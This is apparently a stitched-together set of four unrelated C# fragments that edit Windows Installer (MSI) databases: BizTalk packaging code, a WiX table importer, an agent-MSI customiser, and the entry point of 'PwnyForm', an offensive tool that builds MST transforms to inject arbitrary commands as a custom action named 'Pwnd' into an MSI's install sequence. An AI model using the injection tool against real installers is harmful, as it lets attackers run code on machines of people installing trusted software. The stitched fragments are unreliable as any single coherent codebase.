using System; using System.Collections.Generic; using System.Globalization; using System.IO; using BtsMsiLib.Utilities; using Microsoft.Deployment.Compression.Cab; using Microsoft.Deployment.WindowsInstaller; namespace BtsMsiLib.Msi { //TODO: User better variable names in general public static class MsiDatabaseExtensions { public static void UpdateSummaryInfo(this Database db) { // TODO: Correct values needs to be set using (SummaryInfo summaryInfo = db.SummaryInfo) { summaryInfo.Title = "A"; summaryInfo.Author = "B"; summaryInfo.Subject = "C"; summaryInfo.Comments = "D"; summaryInfo.Keywords = "BizTalk, deployment, application, " + "sdfsdWfsdf"; summaryInfo.RevisionNumber = Guid.NewGuid().ToString("B").ToUpperInvariant(); summaryInfo.CreatingApp = typeof(MsiDatabaseExtensions).Assembly.FullName; summaryInfo.CreateTime = DateTime.Now; summaryInfo.Persist(); } } public static void UpdateSummaryInfo(this Database db, BtsMsiLib.Model.BtsApplication btsApp) { using (SummaryInfo summaryInfo = db.SummaryInfo) { summaryInfo.Title = btsApp.Name; summaryInfo.Author = btsApp.Authors; summaryInfo.Subject = btsApp.Subject; summaryInfo.Comments = btsApp.Description; summaryInfo.Keywords = btsApp.Keywords; summaryInfo.RevisionNumber = Guid.NewGuid().ToString("B").ToUpperInvariant(); summaryInfo.CreatingApp = typeof(MsiDatabaseExtensions).Assembly.FullName; summaryInfo.CreateTime = DateTime.Now; summaryInfo.Persist(); } } public static void UpdateUpgradeTable(this Database db, Guid upgradeCode) { using (View view = db.OpenView("SELECT * FROM `Upgrade`", new object[0])) { view.Execute(); using (Record record = view.Fetch()) { record[1] = upgradeCode.ToString("B").ToUpperInvariant(); view.Replace(record); } db.Commit(); } } public static void UpdateProperties(this Database db, IDictionary<string, object> properties) { using (View view = db.OpenView("SELECT * FROM `Property`", new object[0])) { view.Execute(); foreach (string index in properties.Keys) { using (var record = new Record(2)) { record[1] = index; record[2] = properties[index]; view.Assign(record); } } db.Commit(); } } public static void UpdateFileContent(this Database db, string folder, string adfFile, int resourceCount) { using (View view1 = db.OpenView("SELECT * FROM `File` WHERE `FileName` = 'APPLIC~1.ADF|ApplicationDefinition.adf'", new object[0])) { view1.Execute(); using (Record record1 = view1.Fetch()) { string path2_1 = (string)record1[1]; Guid guid = Guid.NewGuid(); string path2_2 = "_" + guid.ToString("N").ToUpperInvariant(); string str1 = "C_" + path2_2; string mediaStream = ExtractMediaStream(db); File.Delete(Path.Combine(mediaStream, path2_1)); File.Copy(adfFile, Path.Combine(mediaStream, path2_2)); using (View view2 = db.OpenView("SELECT * FROM `Component` WHERE `KeyPath` = '{0}'", new object[] { path2_1 })) { view2.Execute(); using (Record record2 = view2.Fetch()) { record2[1] = str1; record2[2] = guid.ToString("B").ToUpperInvariant(); record2[6] = path2_2; record2[3] = "ADFDIR"; view2.Replace(record2); } } using (View view2 = db.OpenView("SELECT * FROM `FeatureComponents` WHERE `Component_` = '{0}'", new object[] { "C_" + path2_1 })) { view2.Execute(); using (Record record2 = view2.Fetch()) { record2[2] = str1; view2.Assign(record2); } } record1[1] = path2_2; record1[2] = str1; record1[4] = FileHelper.FileSize(adfFile); view1.Replace(record1); var num = (int)db.ExecuteScalar("SELECT `LastSequence` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 }); for (int index = 0; index < resourceCount; ++index) { string cabFileName = string.Format(CultureInfo.InvariantCulture, "ITEM~{0}.CAB", new object[]{index}); string cabFilePath = Path.Combine(folder, cabFileName); record1[1] = "_" + Guid.NewGuid().ToString("N").ToUpperInvariant(); record1[3] = string.Format(CultureInfo.InvariantCulture, "{0}|{1}", new object[] { cabFileName, cabFileName }); record1[4] = FileHelper.FileSize(cabFilePath); record1[8] = ++num; view1.Assign(record1); File.Copy(cabFilePath, Path.Combine(mediaStream, (string)record1[1])); } UpdateMediaCab(db, mediaStream, num); } } } private static string ExtractMediaStream(Database db) { string tempFileName = Path.GetTempFileName(); string tempFolder = FileHelper.GetTempFolder(tempFileName); string cabTempFileName = Path.ChangeExtension(tempFileName, ".cab"); var cabFileName = (string)db.ExecuteScalar("SELECT `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 }); using (View view = db.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabFileName.Substring(1) })) { view.Execute(); Record record = view.Fetch(); if (record == null) throw new InstallerException("Stream not found: " + cabFileName); using (record) record.GetStream("Data", cabTempFileName); } var cabinetInfo = new CabInfo(cabTempFileName); cabinetInfo.Unpack(tempFolder); cabinetInfo.Delete(); return tempFolder; } private static void UpdateMediaCab(Database msiDb, string folderToPack, int lastSequence) { string tempFileName = Path.GetTempFileName(); if (File.Exists(tempFileName)) File.Delete(tempFileName); string cabFileName = Path.ChangeExtension(tempFileName, ".cab"); new CabInfo(cabFileName).Pack(folderToPack); Directory.Delete(folderToPack, true); var list = new List<string>(); using (View view = msiDb.OpenView("SELECT `File` FROM `File`", new object[0])) { view.Execute(); Record record; while ((record = view.Fetch()) != null) { using (record) list.Add((string)record[1]); } list.Sort(); } using (View view = msiDb.OpenView("SELECT `File`, `Sequence` FROM `File`", new object[0])) { view.Execute(); for (Record record = view.Fetch(); record != null; record = view.Fetch()) { using (record) { record[2] = list.IndexOf((string)record[1]) + 1; view.Update(record); } } } string cabinet; using (View view = msiDb.OpenView("SELECT `LastSequence`, `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 })) { view.Execute(); Record record = view.Fetch(); if (record == null) throw new InstallerException("Media for DiskID=1 is not found: "); using (record) { cabinet = (string)record[2]; record[1] = lastSequence; view.Update(record); } } using (View view = msiDb.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabinet.Substring(1) })) { view.Execute(); Record record = view.Fetch(); using (record) { record.SetStream("Data", cabFileName); view.Update(record); } } } public static void MakeCustomModifications(this Database db, Guid productCode, string applicationName) { string productCodeUpper = productCode.ToString("B").ToUpperInvariant(); string shortProductCode = productCodeUpper.Substring(1, productCodeUpper.Length - 2); using (View view = db.OpenView("SELECT * FROM `Directory`", new object[0])) { view.Execute(); using (var record = new Record(3)) { record[1] = "ADFDIR"; record[2] = "TARGETDIR"; record[3] = shortProductCode; view.Assign(record); } db.Commit(); } using (View view = db.OpenView("SELECT * FROM `ControlCondition`", new object[0])) { view.Execute(); using (var record = new Record(4)) { record[1] = "FolderForm"; record[2] = "DiskCostButton"; record[3] = "Hide"; record[4] = "1=1"; view.Assign(record); } db.Commit(); } Guid applicationGuid = Hasher.HashApplicationName(applicationName); string applicationCompId = "C__" + applicationGuid.ToString("N").ToUpperInvariant(); string msiCompId; using (View view = db.OpenView("SELECT * FROM `File` WHERE `FileName` = 'APPLIC~1.ADF|ApplicationDefinition.adf'", new object[0])) { view.Execute(); using (Record record = view.Fetch()) msiCompId = record[2].ToString(); db.Commit(); } CustomModifyRegistry(db, applicationCompId, msiCompId); CustomModifyComponent(db, applicationGuid, applicationCompId); CustomModifyFeatureComponents(db, applicationCompId, msiCompId); CustomModifyCustomAction(db); ModifySecureCustomProperties(db); AddErrorTableEntry(db); } private static void CustomModifyRegistry(Database msiDb, string applicationCompId, string msiCompId) { using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Key` = 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\[ProductName]\\[ProductCode]'", new object[0])) { view.Execute(); using (Record record = view.Fetch()) { record[6] = msiCompId; view.Replace(record); } } using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Key` = 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\[ProductName]' AND `Name` = '*'", new object[0])) { view.Execute(); using (Record record = view.Fetch()) { record[6] = applicationCompId; view.Replace(record); } } CustomModifyRegistryEntry(msiDb, applicationCompId, "NoModify"); ModifyReadmeRegistryEntry(msiDb, applicationCompId); CustomModifyRegistryEntry(msiDb, applicationCompId, "URLInfoAbout"); CustomModifyRegistryEntry(msiDb, applicationCompId, "Contact"); CustomModifyRegistryEntry(msiDb, applicationCompId, "Uninstallstring"); CustomModifyRegistryEntry(msiDb, applicationCompId, "NoRepair"); CustomModifyRegistryEntry(msiDb, applicationCompId, "DisplayName"); msiDb.Commit(); } private static void CustomModifyComponent(Database msiDb, Guid applicationGuid, string applicationCompId) { using (View view = msiDb.OpenView("SELECT * FROM `Component` WHERE `Directory_` = 'TARGETDIR' AND `Attributes` = 4", new object[0])) { view.Execute(); using (Record record = view.Fetch()) { record[1] = applicationCompId; record[2] = applicationGuid.ToString("B").ToUpperInvariant(); view.Replace(record); } while (true) { using (Record record = view.Fetch()) { if (record != null) view.Delete(record); else break; } } msiDb.Commit(); } } private static void CustomModifyFeatureComponents(Database msiDb, string applicationCompId, string msiCompId) { using (View view = msiDb.OpenView("SELECT * FROM `FeatureComponents`", new object[0])) { view.Execute(); while (true) { using (Record record = view.Fetch()) { if (record != null) view.Delete(record); else break; } } const string featureName = "DefaultFeature"; using (var record = new Record(2)) { record[1] = featureName; record[2] = applicationCompId; view.Assign(record); } using (var record = new Record(2)) { record[1] = featureName; record[2] = msiCompId; view.Assign(record); } msiDb.Commit(); } } private static void CustomModifyCustomAction(Database msiDb) { using (View view = msiDb.OpenView("SELECT * FROM `CustomAction` WHERE `Source` = 'InstallUtil'", new object[0])) { view.Execute(); while (true) { using (Record record = view.Fetch()) { if (record != null) { record.SetInteger(2, record.GetInteger(2) | 2048); view.Replace(record); } else break; } } msiDb.Commit(); } } private static void ModifySecureCustomProperties(Database msiDb) { using (View view = msiDb.OpenView("SELECT * FROM `Property` WHERE `Property` = 'SecureCustomProperties'", new object[0])) { view.Execute(); using (Record record = view.Fetch()) { record[2] = "NEWERPRODUCTFOUND;BTSVERSION;BTSPATH;BTSPRODUCTNAME"; view.Replace(record); } msiDb.Commit(); } } private static void AddErrorTableEntry(Database msiDb) { using (View view = msiDb.OpenView("SELECT * FROM `Error`", new object[0])) { view.Execute(); using (var record = new Record(2)) { record[1] = 1001; record[2] = "Error [1]: [2]"; view.Assign(record); } msiDb.Commit(); } } private static void CustomModifyRegistryEntry(Database msiDb, string compId, string name) { using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Name` = '{0}'", new object[] { name })) { view.Execute(); using (Record record = view.Fetch()) { record[6] = compId; view.Replace(record); } } } private static void ModifyReadmeRegistryEntry(Database msiDb, string compId) { using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Name` = '{0}'", new object[] { "Readme" })) { view.Execute(); using (Record record = view.Fetch()) { record[6] = compId; record[5] = "file://[TARGETDIR]Readme.htm"; view.Replace(record); } } } } }
private void ImportTables(Database db, string idtDirectory) { foreach (var table in this.Data.Tables) { var importTable = table; var hasBinaryColumn = false; // Skip all unreal tables other than _Streams. if (table.Definition.Unreal && "_Streams" != table.Name) { continue; } // Do not put the _Validation table in patches, it is not needed. if (OutputType.Patch == this.Data.Type && "_Validation" == table.Name) { continue; } // The only way to import binary data is to copy it to a local subdirectory first. // To avoid this extra copying and perf hit, import an empty table with the same // definition and later import the binary data from source using records. foreach (var columnDefinition in table.Definition.Columns) { if (ColumnType.Object == columnDefinition.Type) { importTable = new Table(table.Definition); hasBinaryColumn = true; break; } } // Create the table via IDT import. if ("_Streams" != importTable.Name) { try { var command = new CreateIdtFileCommand(this.Messaging, importTable, this.Data.Codepage, idtDirectory, this.KeepAddedColumns); command.Execute(); var trackIdt = this.BackendHelper.TrackFile(command.IdtPath, TrackedFileType.Temporary); this.GeneratedTemporaryFiles.Add(trackIdt); db.Import(command.IdtPath); } catch (WixInvalidIdtException) { // If ValidateRows finds anything it doesn't like, it throws importTable.ValidateRows(); // Otherwise we rethrow the InvalidIdt throw; } } // insert the rows via SQL query if this table contains object fields if (hasBinaryColumn) { var query = new StringBuilder("SELECT "); // Build the query for the view. var firstColumn = true; foreach (var columnDefinition in table.Definition.Columns) { if (columnDefinition.Unreal) { continue; } if (!firstColumn) { query.Append(","); } query.AppendFormat(" `{0}`", columnDefinition.Name); firstColumn = false; } query.AppendFormat(" FROM `{0}`", table.Name); using (var tableView = db.OpenExecuteView(query.ToString())) { // Import each row containing a stream foreach (var row in table.Rows) { using (var record = new Record(table.Definition.Columns.Length)) { // Stream names are created by concatenating the name of the table with the values // of the primary key (delimited by periods). var streamName = new StringBuilder(); // the _Streams table doesn't prepend the table name (or a period) if ("_Streams" != table.Name) { streamName.Append(table.Name); } var needStream = false; for (var i = 0; i < table.Definition.Columns.Length; i++) { var columnDefinition = table.Definition.Columns[i]; if (columnDefinition.Unreal) { continue; } switch (columnDefinition.Type) { case ColumnType.Localized: case ColumnType.Preserved: case ColumnType.String: var str = row.FieldAsString(i); if (columnDefinition.PrimaryKey) { if (0 < streamName.Length) { streamName.Append("."); } streamName.Append(str); } record.SetString(i + 1, str); break; case ColumnType.Number: record.SetInteger(i + 1, row.FieldAsInteger(i)); break; case ColumnType.Object: var path = row.FieldAsString(i); if (null != path) { needStream = true; try { record.SetStream(i + 1, path); } catch (Win32Exception e) { if (0xA1 == e.NativeErrorCode) // ERROR_BAD_PATHNAME { throw new WixException(ErrorMessages.FileNotFound(row.SourceLineNumbers, path)); } else { throw new WixException(ErrorMessages.Win32Exception(e.NativeErrorCode, e.Message)); } } } break; } } // check for a stream name that is more than 62 characters long (the maximum allowed length) if (needStream && Database.MsiMaxStreamNameLength < streamName.Length) { this.Messaging.Write(ErrorMessages.StreamNameTooLong(row.SourceLineNumbers, table.Name, streamName.ToString(), streamName.Length)); } else // add the row to the database { tableView.Modify(ModifyView.Assign, record); } } } } // Remove rows from the _Streams table for wixpdbs. if ("_Streams" == table.Name) { table.Rows.Clear(); } } } }
public byte[] UpdateMsis(bool is64bit) { var expectedClient = new ServiceVersion().Get(1).LatestClientVersion; if (string.IsNullOrEmpty(expectedClient)) { Logger.Error("Cannot Create MSI. Unknown Expected Toec Version"); return(null); } var type = is64bit ? "-x64.msi" : "-x86.msi"; var basePath = Path.Combine(HttpContext.Current.Server.MapPath("~"), "private", "agent"); var stockFileFullPath = Path.Combine(basePath, $"Toec-{expectedClient}{type}"); if (!File.Exists(stockFileFullPath)) { Logger.Debug("Cannot Create MSI. Could Not Locate Stock MSI"); return(null); } var ca = new ServiceCertificate().GetCAPublic(); if (ca == null) { Logger.Debug("Cannot Create MSI. Certificate Chain Must First Be Created. "); return(null); } var newVersion = expectedClient.Split('.'); var v = string.Join(".", newVersion.Take(newVersion.Length - 1)); var outputFileName = $"Toec-{v}{type}"; var outputFileFullPath = Path.Combine(basePath, outputFileName); try { File.Delete(outputFileFullPath); } catch { //ignored } try { File.Copy(stockFileFullPath, outputFileFullPath); } catch (Exception ex) { Logger.Error("Could Not Create MSI."); Logger.Error(ex.Message); return(null); } Stream stream = new MemoryStream(ca); Database database = null; View serverKey = null; View thumbprint = null; View comServers = null; View cert = null; Record rec = null; GetMsiArgs(); using (database = new Database(outputFileFullPath, DatabaseOpenMode.Transact)) { try { serverKey = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "SERVER_KEY", _serverKey)); serverKey.Execute(); serverKey.Close(); comServers = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "COM_SERVERS", _comServers)); comServers.Execute(); comServers.Close(); thumbprint = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "CA_THUMBPRINT", _thumbprint)); thumbprint.Execute(); thumbprint.Close(); cert = database.OpenView("UPDATE `Binary` SET `Data` = ? WHERE `Name` = 'ToemsCA.Binary'"); rec = new Record(1); rec.SetStream(1, stream); cert.Execute(rec); cert.Close(); database.Commit(); } catch (Exception ex) { Logger.Error("Could Not Create Msi."); Logger.Error(ex.Message); return(null); } finally { if (rec != null) { rec.Close(); } if (serverKey != null) { serverKey.Close(); } if (thumbprint != null) { thumbprint.Close(); } if (comServers != null) { comServers.Close(); } if (cert != null) { cert.Close(); } if (database != null) { database.Close(); } } } var file = File.ReadAllBytes(outputFileFullPath); return(file); }
static void Main(string[] args) { string msi = null; string mst = null; int order = 1; bool showHelp = false; SequenceType sequenceType = SequenceType.UI; string sequenceTable = "InstallUISequence"; Console.WriteLine( "PwnyForm by @_EthicalChaos_\n" + $" Generates MST transform to inject arbitrary commands/cutom actions when installing MSI files\n" ); OptionSet option_set = new OptionSet() .Add("m=|msi=", "MSI file to base transform on (required)", v => msi = v) .Add("t=|mst=", "MST to generate that includes new custom action (required)", v => mst = v) .Add <SequenceType>("s=|sequence=", "Which sequence table should inject the custom action into (UI (default) | Execute)", v => sequenceType = v) .Add <int>("o=|order=", "Which sequence number to use (defaults 1)", v => order = v) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp || msi == null || mst == null) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } switch (sequenceType) { case SequenceType.UI: sequenceTable = "InstallUISequence"; break; case SequenceType.Execute: sequenceTable = "InstallExecuteSequence"; break; } string tmpMsi = Path.GetTempFileName(); try { File.Copy(msi, tmpMsi, true); using (var origDatabase = new Database(msi, DatabaseOpenMode.ReadOnly)) { using (var database = new Database(tmpMsi, DatabaseOpenMode.Direct)) { if (!database.Tables.Contains("Binary")) { Console.WriteLine("[-] Binary table missing, creating..."); TableInfo ti = new TableInfo("Binary", new ColumnInfo[] { new ColumnInfo("Name", "s72"), new ColumnInfo("Data", "v0") }, new string[] { "Name" }); database.Tables.Add(ti); } if (!database.Tables.Contains("CustomAction")) { Console.WriteLine("[-] CustomAction table missing, creating..."); TableInfo ti = new TableInfo("CustomAction", new ColumnInfo[] { new ColumnInfo("Action", "s72"), new ColumnInfo("Type", "i2"), new ColumnInfo("Source", typeof(string), 72, false), new ColumnInfo("Target", typeof(string), 255, false), new ColumnInfo("ExtendedType", typeof(int), 4, false) } , new string[] { "Action" }); database.Tables.Add(ti); } if (!database.Tables.Contains(sequenceTable)) { Console.WriteLine($"[!] The sequence table {sequenceTable} does not exist, is this a proper MSI file?"); return; } Console.WriteLine($"[+] Inserting Custom Action into {sequenceTable} table using sequence number {order}"); Record binaryRecord = new Record(2); binaryRecord[1] = "Pwnd"; binaryRecord.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes(caCode))); database.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binaryRecord); database.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('Pwnd', 5, 'Pwnd', 'runCommand')"); database.Execute($"INSERT INTO `{sequenceTable}` (`Action`, `Sequence`) VALUES ('Pwnd', {order})"); Console.WriteLine($"[+] Generating MST file {mst}"); database.GenerateTransform(origDatabase, mst); database.CreateTransformSummaryInfo(origDatabase, mst, TransformErrors.None, TransformValidations.None); Console.WriteLine("[+] Done!"); } } }catch (Exception e) { Console.WriteLine($"[!] Failed to generate MST with error {e.Message}"); } }